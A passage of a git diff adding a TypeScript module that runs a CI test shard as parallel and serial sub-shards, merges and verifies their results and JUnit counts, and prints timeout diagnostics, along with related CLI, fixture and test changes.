1024 * 1024; + +/** The child-written report, only when it is a regular file of bounded size (never a link, FIFO or device). */ +export function readJunitReport(file: string): string | null { + let fd: number; + try { fd = fs.openSync(file, fs.constants.O_RDONLY | (fs.constants.O_NOFOLLOW ?? 0) | (fs.constants.O_NONBLOCK ?? 0)); } catch { return null; } + try { + const stat = fs.fstatSync(fd); + return stat.isFile() && stat.size <= JUNIT_MAX_BYTES ? fs.readFileSync(fd, 'utf8') : null; + } catch { return null; } finally { fs.closeSync(fd); } +} + +/** One shard's counts from its sub-shards' counts; complete only when every part is and no file repeats. */ +export function mergeTestCounts(parts: Array): ShardTestCounts | undefined { + if (parts.every(part => !part)) return undefined; + const files: Record = {}; + const totals = zeroCounts(); + const problems: string[] = []; + parts.forEach((part, index) => { + if (!part) { problems.push(`sub-shard ${index + 1} has no counts`); return; } + if (!part.complete) problems.push(`sub-shard ${index + 1}: ${part.problem ?? 'incomplete'}`); + for (const [file, counts] of Object.entries(part.files)) { + if (files[file]) problems.push(`${file} counted twice`); + files[file] = { ...counts }; + } + addCounts(totals, part.totals); + }); + return { source: 'bun-junit', complete: problems.length === 0, ...(problems.length ? { problem: problems.join('; ') } : {}), files, totals }; +} + +export interface SubShardAssignment { + /** `:.`: binds a result to one plan, shard and file set. */ + id: string; + index: number; + phase: 'parallel' | 'serial'; + files: string[]; +} + +/** + * Split one CI shard into disjoint sub-shards: up to k parallel ones packed by + * `pack`, then one serial sub-shard for the files `isSerial` names. Throws + * unless the assignments cover the shard's files exactly once. + */ +export function assignSubShards( + planId: string, shard: { shard: number; files: string[] }, jobs: number, + isSerial: (file: string) => boolean, pack: (files: string[], count: number) => string[][], +): SubShardAssignment[] { + const serial = shard.files.filter(isSerial); + const parallel = shard.files.filter(file => !isSerial(file)); + const groups = parallel.length ? pack(parallel, Math.min(jobs, parallel.length)).filter(files => files.length) : []; + const assignments: SubShardAssignment[] = [ + ...groups.map(files => ({ phase: 'parallel' as const, files })), + ...(serial.length ? [{ phase: 'serial' as const, files: serial }] : []), + ].map((entry, index) => ({ id: `${planId.slice(0, 12)}:${shard.shard}.${index + 1}`, index: index + 1, ...entry })); + const assigned = assignments.flatMap(entry => entry.files); + if (new Set(assigned).size !== assigned.length || assigned.length !== shard.files.length + || !shard.files.every(file => assigned.includes(file))) { + throw new Error(`${FREE_SUBSHARD_REJECTED}: sub-shard assignment for CI shard ${shard.shard} does not cover its files exactly once`); + } + return assignments; +} + +export type SubShardSettlement = { assignment: SubShardAssignment } & ({ outcome: FreeShardOutcome } | { error: string }); + +/** Why one sub-shard's result cannot stand for its assignment; empty when it can. */ +export function subShardProblems(settled: SubShardSettlement): string[] { + const { assignment } = settled; + if (!('outcome' in settled)) return [`${assignment.id} has no result (${settled.error})`]; + const { outcome } = settled; + const problems: string[] = []; + if (JSON.stringify(outcome.files) !== JSON.stringify(assignment.files)) problems.push(`${assignment.id} reported another file set`); + const summary = outcome.summary; + if (!summary || (summary.sawTerminalSummary && summary.filesRan !== assignment.files.length)) { + problems.push(`${assignment.id} reported ${summary?.filesRan ?? 'no'} executed file(s) for ${assignment.files.length} assigned`); + } else if (outcome.status === 'passed' && (summary.filesRan !== assignment.files.length || summary.sawTerminalSummary !== true + || outcome.exitCode !== 0 || outcome.failingFiles.length || outcome.unattributedFailures)) { + problems.push(`${assignment.id} passed without a complete execution summary`); + } + return problems; +} + +export interface SubShardRecord { + id: string; + phase: SubShardAssignment['phase']; + files: string[]; + status: FreeShardOutcome['status'] | 'missing'; + exitCode: number | null; + elapsedMs: number; + summary?: FreeShardOutcome['summary']; + failingFiles: string[]; + unattributedFailures: number; +} + +/** + * One CI shard outcome from every sub-shard: the planned file order, summed + * summaries, the union of failing files, and the worst status. Every rejected + * sub-shard adds unattributed evidence, which also vetoes the retry pass. + */ +export function mergeSubShardOutcomes( + shard: { shard: number; files: string[] }, settled: SubShardSettlement[], elapsedMs: number, extraProblems: string[] = [], +): { outcome: FreeShardOutcome; records: SubShardRecord[]; problems: string[] } { + const problems = [...extraProblems]; + const assigned = settled.flatMap(entry => entry.assignment.files); + if (new Set(assigned).size !== assigned.length) problems.push('a file is assigned to more than one sub-shard'); + if (assigned.length !== shard.files.length || !shard.files.every(file => assigned.includes(file))) problems.push('sub-shards do not cover the CI shard'); + for (const entry of settled) problems.push(...subShardProblems(entry)); + const outcomes = settled.flatMap(entry => ('outcome' in entry ? [entry.outcome] : [])); + const missing = settled.length - outcomes.length; + const status: FreeShardOutcome['status'] = outcomes.some(outcome => outcome.status === 'timed-out') ? 'timed-out' + : problems.length || outcomes.some(outcome => outcome.status !== 'passed') ? 'failed' : 'passed'; + const testsRan = outcomes.map(outcome => outcome.summary?.testsRan ?? null); + const failures = outcomes.flatMap(outcome => outcome.failures ?? []); + const inFlight = outcomes.flatMap(outcome => outcome.inFlight ?? []); + const counts = mergeTestCounts(settled.map(entry => ('outcome' in entry ? entry.outcome.counts : undefined))); + const outcome: FreeShardOutcome = { + shard: shard.shard, + files: shard.files, + status, + exitCode: status === 'passed' ? 0 : outcomes.find(entry => entry.exitCode)?.exitCode ?? 1, + elapsedMs, + groupPid: null, + failingFiles: status === 'passed' ? [] : [...new Set(outcomes.flatMap(entry => entry.failingFiles))], + unattributedFailures: status === 'passed' ? 0 : outcomes.reduce((sum, entry) => sum + entry.unattributedFailures, 0) + problems.length, + ...(failures.length ? { failures } : {}), + summary: { + testsRan: missing || testsRan.some(value => value === null) ? null : testsRan.reduce((sum, value) => sum + value!, 0), + filesRan: outcomes.reduce((sum, entry) => sum + (entry.summary?.filesRan ?? 0), 0), + sawTerminalSummary: !missing && outcomes.every(entry => entry.files.length === 0 || entry.summary?.sawTerminalSummary === true), + }, + ...(counts ? { counts } : {}), + ...(inFlight.length ? { inFlight } : {}), + }; + const records = settled.map((entry): SubShardRecord => { + const { id, phase, files } = entry.assignment; + if (!('outcome' in entry)) return { id, phase, files, status: 'missing', exitCode: null, elapsedMs: 0, failingFiles: [], unattributedFailures: 1 }; + const { status: subStatus, exitCode, elapsedMs: subElapsed, summary, failingFiles, unattributedFailures } = entry.outcome; + return { id, phase, files, status: subStatus, exitCode, elapsedMs: subElapsed, summary, failingFiles, unattributedFailures }; + }); + return { outcome, records, problems }; +} + +/** `--ci-verify` re-checks a k > 1 result's sub-shard records; empty means they stand. */ +export function subShardRecordProblems(result: FreeCiResult): string[] { + if (result.jobs === undefined && result.subShards === undefined) return []; + const records = result.subShards ?? []; + if (!Number.isInteger(result.jobs) || result.jobs! < 2 || !records.length) return ['sub-shard result without a valid --jobs and records']; + const files = records.flatMap(record => record.files); + const problems: string[] = []; + if (new Set(files).size !== files.length || files.length !== result.outcome.files.length + || !result.outcome.files.every(file => files.includes(file))) problems.push('sub-shard records do not cover the shard exactly once'); + const prefix = `${result.planId.slice(0, 12)}:${result.outcome.shard}.`; + if (records.some((record, index) => record.id !== `${prefix}${index + 1}`) + || records.filter(record => record.phase === 'parallel').length > result.jobs! + || records.some((record, index) => record.phase === 'serial' ? index !== records.length - 1 : record.phase !== 'parallel')) { + problems.push('sub-shard ids or phases do not match the plan and --jobs'); + } + if (records.some(record => record.status === 'missing' || record.summary?.filesRan !== record.files.length + || (record.files.length > 0 && record.summary?.sawTerminalSummary !== true))) problems.push('a sub-shard did not run every assigned file'); + if (result.outcome.status === 'passed' && records.some(record => record.status !== 'passed')) problems.push('a passing shard holds a failed sub-shard'); + return problems; +} + +export interface CiRunContext { planPath: string; runId: string; runner: string } + +/** Where this run is: the CI run id (with attempt) and runner, else `local` and the host. */ +export function ciRunContext(planPath: string, env: NodeJS.ProcessEnv = process.env): CiRunContext { + const runId = env.GITHUB_RUN_ID ? `${env.GITHUB_RUN_ID}${env.GITHUB_RUN_ATTEMPT ? `/attempt ${env.GITHUB_RUN_ATTEMPT}` : ''}` : 'local'; + const cpus = os.availableParallelism?.() ?? os.cpus().length; + return { planPath, runId, runner: `${env.RUNNER_NAME || os.hostname()} (${process.platform}, ${cpus} CPUs)` }; +} + +const quote = (value: string) => `'${value.replaceAll("'", "'\\''")}'`; + +/** The FREE_SUBSHARD_TIMEOUT text: the file, k, runner, a serial reproduce command and the fix. */ +export function subShardTimeoutText( + shard: number, jobs: number, record: SubShardRecord, inFlight: string[], wallTimeoutMs: number, context: CiRunContext, shardWallMs = wallTimeoutMs, +): string[] { + const suspects = inFlight.filter(file => record.files.includes(file)); + const files = suspects.length ? suspects : record.files; + const seconds = (ms: number) => Math.round(ms / 1000); + const fix = record.phase !== 'serial' + ? `if it passes serially, add it to SLOW_UNDER_LOAD in scripts/lib/shard-jobs.ts with run id ${context.runId}; never raise the timeout` + : wallTimeoutMs < shardWallMs + ? `the parallel sub-shards left this serial sub-shard ${seconds(wallTimeoutMs)}s of the ${seconds(shardWallMs)}s shard wall; if the k=1 command passes, the parallel phase used up the budget and this shard needs a lower --jobs; never raise the timeout` + : 'this file already runs alone after the parallel sub-shards; fix or split it, never raise the timeout'; + return [ + `[test:free] ${FREE_SUBSHARD_TIMEOUT}: CI shard ${shard} sub-shard ${record.id} (${record.files.length} files) hit its ${seconds(wallTimeoutMs)}s wall at --jobs ${jobs} on ${context.runner}, run ${context.runId}.`, + `[test:free] in flight: ${suspects.length ? suspects.join(', ') : 'unknown (no open file chunk; see the sub-shard log)'}`, + `[test:free] reproduce serially: printf '%s\\n' ${files.map(quote).join(' ')} > files.txt && GSTACK_FREE_JOBS=1 bun run scripts/test-free-shards.ts --files-from files.txt`, + `[test:free] or the whole CI shard at k=1: bun run scripts/test-free-shards.ts --ci-run ${quote(context.planPath)} --shard ${shard} --result shard-${shard}.json --jobs 1`, + `[test:free] ${fix}. See ${DOCS}`, + ]; +} + +export interface RunShardOptions { wallTimeoutMs: number; verbose: boolean; testCounts: true; homeGuard?: FreeHomeGuardFactory } + +export interface CiShardInput { + plan: FreeCiPlan; + shard: FreeCiPlan['shards'][number]; + revision: string; + /** Sub-shard count; 1 is today's single child. */ + jobs: number; + wallTimeoutMs: number; + verbose: boolean; + context: CiRunContext; +} + +export interface CiShardDeps { + runShard(files: string[], shardNumber: number, totalShards: number, options: RunShardOptions): Promise; + /** The free runner's single flaky-retry pass over every collected outcome. */ + retry(outcomes: FreeShardOutcome[]): Promise<{ exitCode: number; retry: FreeShardOutcome | null }>; + pack(files: string[], count: number): string[][]; + isSerial(file: string): boolean; + terminationRequested(): boolean; + phaseGuard?(files: string[], shards: number): FreeHomeGuard; + log?(line: string): void; +} + +/** Run one planned CI shard at k sub-shards and build its result JSON. */ +export async function runCiShard(input: CiShardInput, deps: CiShardDeps): Promise<{ result: FreeCiResult; exitCode: number }> { + const { plan, shard, revision, jobs, wallTimeoutMs, verbose } = input; + const log = deps.log ?? ((line: string) => console.log(line)); + if (jobs === 1) { + const outcome = await deps.runShard(shard.files, shard.shard, plan.shards.length, { wallTimeoutMs, verbose, testCounts: true }); + const retried = await deps.retry([outcome]); + return { result: { planId: plan.id, revision, outcome, retry: retried.retry }, exitCode: retried.exitCode }; + } + const startedAt = Date.now(); + const assignments = assignSubShards(plan.id, shard, jobs, deps.isSerial, deps.pack); + const total = assignments.length; + log(`[test:free] CI shard ${shard.shard}/${plan.shards.length} at --jobs ${jobs}: ${assignments + .map(entry => `sub-shard ${entry.id} = runner shard ${entry.index}/${total} (${entry.phase}, ${entry.files.length} files)`).join('; ')}`); + const walls = new Map(); + const run = (entry: SubShardAssignment, homeGuard?: FreeHomeGuardFactory, wall = wallTimeoutMs): Promise => { + walls.set(entry.id, wall); + return deps.runShard(entry.files, entry.index, total, { wallTimeoutMs: wall, verbose, testCounts: true, ...(homeGuard ? { homeGuard } : {}) }) + .then(outcome => ({ assignment: entry, outcome }), (error: unknown) => ({ assignment: entry, error: error instanceof Error ? error.message : String(error) })); + }; + const parallel = assignments.filter(entry => entry.phase === 'parallel'); + const serial = assignments.filter(entry => entry.phase === 'serial'); + const phaseProblems: string[] = []; + const settled: SubShardSettlement[] = []; + if (parallel.length) { + const guard = deps.phaseGuard ?? ((files: string[], shards: number) => guardFreeHome(files, process.env, { kind: 'concurrent', shards })); + const phaseHome = guard(parallel.flatMap(entry => entry.files), parallel.length); + settled.push(...await Promise.all(parallel.map(entry => run(entry, sharedFreeHome)))); + const homeChange = phaseHome.verify(); + if (homeChange) phaseProblems.push(homeChange); + } + for (const entry of serial) { + const left = startedAt + wallTimeoutMs - Date.now(); + settled.push(deps.terminationRequested() ? { assignment: entry, error: 'cancelled before the serial phase' } + : left <= 0 ? { assignment: entry, error: 'no wall left after the parallel phase' } : await run(entry, undefined, left)); + } + const merged = mergeSubShardOutcomes(shard, settled, Date.now() - startedAt, phaseProblems); + for (const problem of merged.problems) console.error(`[test:free] ${FREE_SUBSHARD_REJECTED}: CI shard ${shard.shard}: ${problem}`); + for (const record of merged.records.filter(entry => entry.status === 'timed-out')) { + for (const line of subShardTimeoutText(shard.shard, jobs, record, merged.outcome.inFlight ?? [], walls.get(record.id) ?? wallTimeoutMs, input.context, wallTimeoutMs)) console.error(line); + } + log(`[test:free] CI shard ${shard.shard}: ${merged.outcome.status} across ${total} sub-shards in ${Math.round(merged.outcome.elapsedMs / 1000)}s`); + const retried = await deps.retry([merged.outcome]); + return { + result: { planId: plan.id, revision, outcome: merged.outcome, retry: retried.retry, jobs, subShards: merged.records }, + exitCode: retried.exitCode, + }; +} + +/** The duration seed takes only one-file children's walls, never a sub-shard's or a shard's. */ +export function assertSoloSeedSample(file: string, outcome: Pick): void { + if (outcome.files.length !== 1 || outcome.files[0] !== file || (outcome.summary?.filesRan ?? 0) > 1) { + throw new Error(`Duration seed sample for ${file} came from a ${outcome.files.length}-file child; seeds are recorded only from one-file serial children.`); + } +} diff --git a/scripts/test-free-shards.ts b/scripts/test-free-shards.ts index ba82c3a48..deda761cf 100755 --- a/scripts/test-free-shards.ts +++ b/scripts/test-free-shards.ts @@ -77,6 +77,11 @@ * bun run scripts/test-free-shards.ts --attribute-home # name real-home writers: each file alone, private HOME * bun run scripts/test-free-shards.ts --ci-plan plan.json --shards 20 * bun run scripts/test-free-shards.ts --ci-run plan.json --shard 1 --result result.json + * bun run scripts/test-free-shards.ts --ci-run plan.json --shard 1 --result result.json --jobs 4 + * # k sub-shards side by side inside one CI job (default 1 = one child, today's behavior; + * # scripts/lib/shard-jobs.ts). --jobs applies only to --ci-run: a positive whole number up + * # to the shard's file count, else FREE_JOBS_INVALID. GSTACK_FREE_JOBS sets the local + * # full-suite process count and never changes --ci-run; --jobs is its only knob. * bun run scripts/test-free-shards.ts --ci-verify plan.json --results results/ */ @@ -91,6 +96,10 @@ import { resolveStateRoot } from '../lib/state-root'; import { attributeFreeHomeWriters, guardFreeHome, sharedFreeHome, type FreeHomeGuardFactory } from './lib/free-home-guard'; import { appendStepSummary, ciHealthSummary, SEED_REFRESH_COMMAND, unseededWarning, windowsCurationLine } from './lib/free-ci-health'; import { curateWindowsSafe, type CurationResult } from './lib/windows-curation'; +import { + assertSoloSeedSample, ciRunContext, parseJobsFlag, parseJunitCounts, readJunitReport, rejectJobsWithoutCiRun, runCiShard, SLOW_UNDER_LOAD, subShardRecordProblems, + validateJobsForShard, type ShardTestCounts, type SubShardRecord, +} from './lib/shard-jobs'; export { curateWindowsSafe, detectWindowsFragility, KNOWN_WINDOWS_INCOMPATIBLE, type CurationResult } from './lib/windows-curation'; import { BunTestOutputClassifier, @@ -447,6 +456,9 @@ export interface FreeCiResult { revision: string; outcome: FreeShardOutcome; retry: FreeShardOutcome | null; + /** Present only at --jobs k > 1: k and one record per sub-shard. */ + jobs?: number; + subShards?: SubShardRecord[]; } /** Preserve the full-suite retry cap across independently running CI jobs. */ @@ -472,6 +484,8 @@ export function verifyFreeCiResults(plan: FreeCiPlan, results: FreeCiResult[]): || JSON.stringify(outcome.files) !== JSON.stringify(shard.files)) throw new Error('CI result identity, shard or file coverage mismatch'); seen.add(outcome.shard); if (!hasCompleteCiSummary(outcome)) throw new Error('Missing or incomplete CI execution summary'); + const subShardProblems = subShardRecordProblems(result); + if (subShardProblems.length) throw new Error(`CI shard ${outcome.shard} sub-shards rejected: ${subShardProblems.join('; ')}`); if (outcome.status === 'passed') { if (outcome.exitCode !== 0 || outcome.failingFiles.length || outcome.unattributedFailures || result.retry) throw new Error('Inconsistent passing CI result'); } else { @@ -542,6 +556,8 @@ type CliOptions = { result: string | null; results: string | null; filesFrom: string | null; + /** Set only by --jobs (with --ci-run); absent means k = 1. */ + jobs?: number; }; export function parseCliOptions(argv: string[]): CliOptions { @@ -556,6 +572,7 @@ export function parseCliOptions(argv: string[]): CliOptions { let wallTimeoutExplicit = false; let quick = false; let attributeHome = false; + let jobs: number | undefined; const paths: Record<'ciPlan' | 'ciRun' | 'ciVerify' | 'result' | 'results' | 'filesFrom', string | null> = { ciPlan: null, ciRun: null, ciVerify: null, result: null, results: null, filesFrom: null, }; @@ -579,6 +596,7 @@ export function parseCliOptions(argv: string[]): CliOptions { '--result': pathFlag('--result', 'result'), '--results': pathFlag('--results', 'results'), '--files-from': pathFlag('--files-from', 'filesFrom'), + '--jobs': (next) => { jobs = parseJobsFlag(next()); }, '--shards': (next) => { const value = next(); if (!value) throw new Error('Missing value for --shards'); @@ -602,8 +620,9 @@ export function parseCliOptions(argv: string[]): CliOptions { if (ciModes > 1 || (ciModes && (quick || listOnly || dryRun || recordDurations || attributeHome))) throw new Error('CI modes cannot be combined with other selection modes'); if (paths.ciRun && (shardIndex === null || !paths.result)) throw new Error('--ci-run requires --shard and --result'); if (paths.ciVerify && !paths.results) throw new Error('--ci-verify requires --results'); + if (jobs !== undefined && !paths.ciRun) rejectJobsWithoutCiRun(); if (quick && (recordDurations || windowsOnly || shardIndex !== null)) throw new Error('--quick cannot change recording, Windows or shard selection'); - return { dryRun, listOnly, recordDurations, windowsOnly, verbose, shardCount, shardIndex, wallTimeoutMs, wallTimeoutExplicit, quick, attributeHome, ...paths }; + return { dryRun, listOnly, recordDurations, windowsOnly, verbose, shardCount, shardIndex, wallTimeoutMs, wallTimeoutExplicit, quick, attributeHome, ...paths, ...(jobs === undefined ? {} : { jobs }) }; } const describeLines = (lines: string[]) => `${lines.slice(0, 5).join(', ')}${lines.length > 5 ? ` (+${lines.length - 5} more)` : ''}`; @@ -1075,6 +1094,10 @@ export interface FreeShardOutcome { unattributedFailures: number; /** Named failures with their excerpts, so a flaky pass records what failed the first time. */ failures?: FreeRunFailure[]; + /** Per-file test and expect() counts from bun's JUnit report (--ci-run only). */ + counts?: ShardTestCounts; + /** Wedge suspects at a wall-timeout kill (FreeRunReport.inFlight). */ + inFlight?: string[]; } export interface ShardCommand { @@ -1087,8 +1110,10 @@ export interface RunFreeShardOptions { wallTimeoutMs?: number; rootDir?: string; env?: NodeJS.ProcessEnv; - /** Override the spawned command. Tests inject fake pass/fail/slow commands. */ - commandFor?: (files: string[]) => ShardCommand; + /** Override the spawned command. Tests inject fake pass/fail/slow commands; `junitPath` is set with testCounts. */ + commandFor?: (files: string[], junitPath?: string) => ShardCommand; + /** Ask bun for a JUnit report in the shard sandbox and record per-file counts on the outcome (--ci-run). */ + testCounts?: boolean; /** Suppress ALL child output from the console (tests). The classifier and the log file still see every byte. */ quiet?: boolean; /** Forward the full child stream to the console (legacy firehose). Default: the quiet filtered console. */ @@ -1633,12 +1658,14 @@ export async function runFreeShard( const shardLog = openShardLog(logPath, label, 0o600); log(`[test:free] full log: ${logPath}`); - const { command, args } = options.commandFor - ? options.commandFor(files) - : { command: process.execPath, args: buildShardArgs(files, { rootDir }) }; - // realpath: the browser tracker refuses a state dir whose path resolves elsewhere. const { stateDir, env } = createShardSandbox('gstack-free-shard-', options.env ?? process.env, { realpath: true }); + // The JUnit reporter leaves the console stream byte-identical (Bun 1.4.2); it only adds per-file counts. + const junitPath = options.testCounts ? path.join(stateDir, 'junit.xml') : undefined; + const { command, args } = options.commandFor + ? options.commandFor(files, junitPath) + : { command: process.execPath, args: [...buildShardArgs(files, { rootDir }), ...(junitPath ? ['--reporter=junit', `--reporter-outfile=${junitPath}`] : [])] }; + let junitXml = null as string | null; // CLI renders otherwise share the repo's .gstack/browse.json, where concurrent // shards and prior daemons replace each other's state; override inherited state. env.BROWSE_STATE_FILE = path.join(stateDir, '.gstack', 'browse.json'); @@ -1703,6 +1730,7 @@ export async function runFreeShard( shardLog.write(diagnostic + '\n'); } await new Promise((resolve) => shardLog.stream.end(() => resolve())); + if (junitPath) junitXml = readJunitReport(junitPath); try { if (!cleanupError) fs.rmSync(stateDir, { recursive: true, force: true }); } catch { @@ -1745,6 +1773,8 @@ export async function runFreeShard( shard: shardNumber, files, status, exitCode, elapsedMs: Date.now() - startedAt, groupPid, failingFiles, unattributedFailures, ...(status === 'passed' ? {} : { failures: report.failures }), summary: { testsRan: report.testsRan, filesRan: report.filesRan, sawTerminalSummary: report.sawTerminalSummary }, + ...(junitPath ? { counts: parseJunitCounts(junitXml, files, report.testsRan, rootDir) } : {}), + ...(status === 'timed-out' && report.inFlight.length ? { inFlight: report.inFlight } : {}), }; log(shardEpilogue(outcome, totalShards)); for (const line of buildRunEpilogue(status, report, outcome.elapsedMs, logPath)) log(line); @@ -1799,6 +1829,7 @@ async function recordFreeTestDurations(files: string[], jobs: number, wallTimeou const outcome = await runFreeShard([file], index + 1, files.length, { wallTimeoutMs, quiet: true, homeGuard: sharedFreeHome, }); + assertSoloSeedSample(file, outcome); durations[normalizeRelativePath(file)] = outcome.elapsedMs; if (outcome.status !== 'passed') failed.push(file); }); @@ -1944,14 +1975,22 @@ async function main(): Promise { } const shard = plan.shards[options.shardIndex! - 1]; if (!shard || shard.shard !== options.shardIndex) throw new Error('CI shard index is outside the plan'); - const outcome = await runFreeShard(shard.files, shard.shard, plan.shards.length, { + const jobs = options.jobs ?? 1; + validateJobsForShard(jobs, shard.files.length, shard.shard); + const durations = loadFreeTestDurations() ?? {}; + const { result, exitCode } = await runCiShard({ + plan, shard, revision, jobs, verbose: options.verbose, context: ciRunContext(options.ciRun!), wallTimeoutMs: options.wallTimeoutExplicit ? options.wallTimeoutMs : wallTimeoutForPackedShard(shard.predictedMs, options.wallTimeoutMs, shard.files.length), - verbose: options.verbose, + }, { + runShard: (files, shardNumber, totalShards, runOptions) => runFreeShard(files, shardNumber, totalShards, runOptions), + retry: outcomes => retryFailedFreeFiles(outcomes, plan.shards.length, options), + pack: (files, count) => packShardsByDuration(files, count, durations).shards, + isSerial: file => file in TREE_MUTATING || file in SLOW_UNDER_LOAD, + terminationRequested: isTerminationRequested, }); - const retried = await retryFailedFreeFiles([outcome], plan.shards.length, options); - writeJson(options.result!, { planId: plan.id, revision, outcome, retry: retried.retry } satisfies FreeCiResult); - return retried.exitCode; + writeJson(options.result!, result); + return exitCode; } let files = allFiles; diff --git a/scripts/test-pr-profile.ts b/scripts/test-pr-profile.ts index 25e2d88dd..44ae88beb 100644 --- a/scripts/test-pr-profile.ts +++ b/scripts/test-pr-profile.ts @@ -237,6 +237,7 @@ export const PAID_WORKFLOW_FILES = [ export const FREE_ONLY_PR_FILES = [ 'scripts/test-free-shards.ts', 'scripts/lib/free-home-guard.ts', // Imported only by the free shard runner. + 'scripts/lib/shard-jobs.ts', // Free runner's --ci-run --jobs sub-shards; ship-measure loads it through test-free-shards.ts, so its touchfiles list it. 'test/helpers/auq-parallel-worker.ts', 'test/helpers/stored-zip.ts', // Read only by the free test-health report tests. 'scripts/free-test-durations.json', diff --git a/test/fixtures/module-size-ratchet.json b/test/fixtures/module-size-ratchet.json index babd4367e..1bbc21be7 100644 --- a/test/fixtures/module-size-ratchet.json +++ b/test/fixtures/module-size-ratchet.json @@ -59,6 +59,7 @@ { "file": "scripts/eval-bg.ts", "movedFrom": "(new: eval:bg dispatch/local backend, W5d)" }, { "file": "test/helpers/module-size.ts", "movedFrom": "(new: ratchet (c) counter)" }, { "file": "scripts/lib/free-home-guard.ts", "movedFrom": "(new: free-lane home-write tripwire, kept out of scripts/test-free-shards.ts)" }, + { "file": "scripts/lib/shard-jobs.ts", "movedFrom": "(new: --ci-run --jobs sub-shards and per-file JUnit counts, kept out of scripts/test-free-shards.ts and scripts/lib/shard-engine.ts, GSTA-203)" }, { "file": "browse/src/routes/activity.ts", "movedFrom": "browse/src/server.ts" }, { "file": "browse/src/routes/commands.ts", "movedFrom": "browse/src/server.ts" }, { "file": "browse/src/routes/core.ts", "movedFrom": "browse/src/server.ts" }, diff --git a/test/helpers/touchfiles-data.ts b/test/helpers/touchfiles-data.ts index 52618ed24..7b7eaee35 100644 --- a/test/helpers/touchfiles-data.ts +++ b/test/helpers/touchfiles-data.ts @@ -417,7 +417,7 @@ export const E2E_TOUCHFILES: Record = { 'tpa-apple-ban': [ 'scripts/resolvers/third-party-actions.ts', 'ship/SKILL.md.tmpl', 'ship/sections/apple-release.md.tmpl', 'scripts/gen-skill-docs.ts', 'test/helpers/session-runner.ts', 'test/skill-e2e-third-party-actions.test.ts', 'test/helpers/third-party-actions.ts', 'lib/eval-model.ts' ], - 'ship-measure-seeded-flake': ['ship/**', 'scripts/ship-measure.ts', 'scripts/lib/measure-bar.ts', 'scripts/test-free-shards.ts', 'scripts/lib/shard-engine.ts', 'scripts/lib/paid-select.ts', 'scripts/lib/free-home-guard.ts', 'bin/gstack-config', 'bin/gstack-state-root.sh', 'lib/state-root.ts', 'scripts/resolvers/sections.ts', 'scripts/resolvers/testing.ts', 'scripts/gen-skill-docs.ts', 'test/skill-e2e-ship-measure-loop.test.ts', 'test/helpers/ship-measure-seeded-fixture.ts', 'test/helpers/agent-sdk-runner.ts', 'test/helpers/skill-fixture.ts'], + 'ship-measure-seeded-flake': ['ship/**', 'scripts/ship-measure.ts', 'scripts/lib/measure-bar.ts', 'scripts/test-free-shards.ts', 'scripts/lib/shard-engine.ts', 'scripts/lib/paid-select.ts', 'scripts/lib/free-home-guard.ts', 'scripts/lib/shard-jobs.ts', 'bin/gstack-config', 'bin/gstack-state-root.sh', 'lib/state-root.ts', 'scripts/resolvers/sections.ts', 'scripts/resolvers/testing.ts', 'scripts/gen-skill-docs.ts', 'test/skill-e2e-ship-measure-loop.test.ts', 'test/helpers/ship-measure-seeded-fixture.ts', 'test/helpers/agent-sdk-runner.ts', 'test/helpers/skill-fixture.ts'], 'ship-section-loading': [ 'ship/**', 'scripts/resolvers/sections.ts', 'scripts/gen-skill-docs.ts', 'test/helpers/auq-sdk-capture.ts', 'test/helpers/session-runner.ts', 'test/skill-e2e-ship-section-loading.test.ts', 'scripts/resolvers/testing.ts', 'test/helpers/agent-sdk-runner.ts', 'test/helpers/auq-native-capture.ts', 'test/helpers/auto-decision-state.ts', 'test/helpers/autoplan-artifact-digest.ts', 'test/helpers/autoplan-artifact-permission.ts', 'test/helpers/autoplan-artifact-recorder.ts', 'test/helpers/claude-pty-runner.ts', 'test/helpers/pty/**', 'test/helpers/dx-selected-navigation.ts', 'test/helpers/e2e-gate.ts', 'test/helpers/eng-cache-writer-decision.ts', 'test/helpers/hermetic-skill-runtime.ts', 'test/helpers/llm-judge.ts', 'test/helpers/native-auto-decide.ts', 'test/helpers/owned-claude-transcript.ts', 'test/helpers/plan-count-artifacts.ts', 'test/helpers/plan-count-file-permission.ts', 'test/helpers/plan-count-fixture.ts', 'test/helpers/plan-count-pending-exit.ts', 'test/helpers/plan-count-pending-question.ts', 'test/helpers/plan-count-transcript.ts', 'test/helpers/plan-floor-review.ts', 'test/helpers/plan-floor-target.ts', 'test/helpers/plan-scope-selection.ts', 'test/helpers/plan-seed-submission.ts', 'test/helpers/plan-skill-question-events.ts', 'test/helpers/plan-skill-question-hook-scope.ts', 'test/helpers/plan-skill-questions.ts', 'test/helpers/pty-screen.ts', 'test/helpers/pty-trust-dialog.ts', 'test/helpers/skill-census.ts'], 'plan-ceo-section-loading': [ 'ETHOS.md', diff --git a/test/shard-jobs.test.ts b/test/shard-jobs.test.ts new file mode 100644 index 000000000..83714013d --- /dev/null +++ b/test/shard-jobs.test.ts @@ -0,0 +1,465 @@ +/** + * Sub-shards inside one CI job (`--ci-run … --jobs k`, scripts/lib/shard-jobs.ts): + * the k = 1 golden path, identity-bound assignment, rejection of missing, + * duplicate and incomplete sub-shard results, one retry pass per CI shard, + * serial TREE_MUTATING and SLOW_UNDER_LOAD files, the timeout text, and per-file + * test and expect() counts from real bun children at k = 1 and k > 1. + */ +import { describe, expect, spyOn, test } from 'bun:test'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; +import { + collectFreeTestFiles, createFreeCiPlan, eligibleFreeRetryFiles, parseCliOptions, runFreeShard, TREE_MUTATING, verifyFreeCiResults, + type FreeCiResult, type FreeShardOutcome, +} from '../scripts/test-free-shards'; +import { + assertSoloSeedSample, assignSubShards, ciRunContext, FREE_JOBS_INVALID, mergeSubShardOutcomes, parseJobsFlag, parseJunitCounts, + readJunitReport, runCiShard, SLOW_UNDER_LOAD, subShardRecordProblems, subShardTimeoutText, validateJobsForShard, type CiShardDeps, type RunShardOptions, +} from '../scripts/lib/shard-jobs'; + +const ROOT = path.resolve(import.meta.dir, '..'); +const EXCLUSIVE = Object.keys(TREE_MUTATING)[0]; +const files = Array.from({ length: 7 }, (_, i) => `test/sample-${i}.test.ts`); +const durations = Object.fromEntries(files.map((file, i) => [file, (i + 1) * 1_000])); +const context = { planPath: 'plan.json', runId: '123/attempt 2', runner: 'runner-7 (linux, 8 CPUs)' }; + +const passed = (shardFiles: string[], shard = 1): FreeShardOutcome => ({ + shard, files: shardFiles, status: 'passed', exitCode: 0, elapsedMs: 5, groupPid: null, failingFiles: [], unattributedFailures: 0, + summary: { testsRan: shardFiles.length * 2, filesRan: shardFiles.length, sawTerminalSummary: true }, +}); +const failed = (shardFiles: string[], failing: string[], shard = 1): 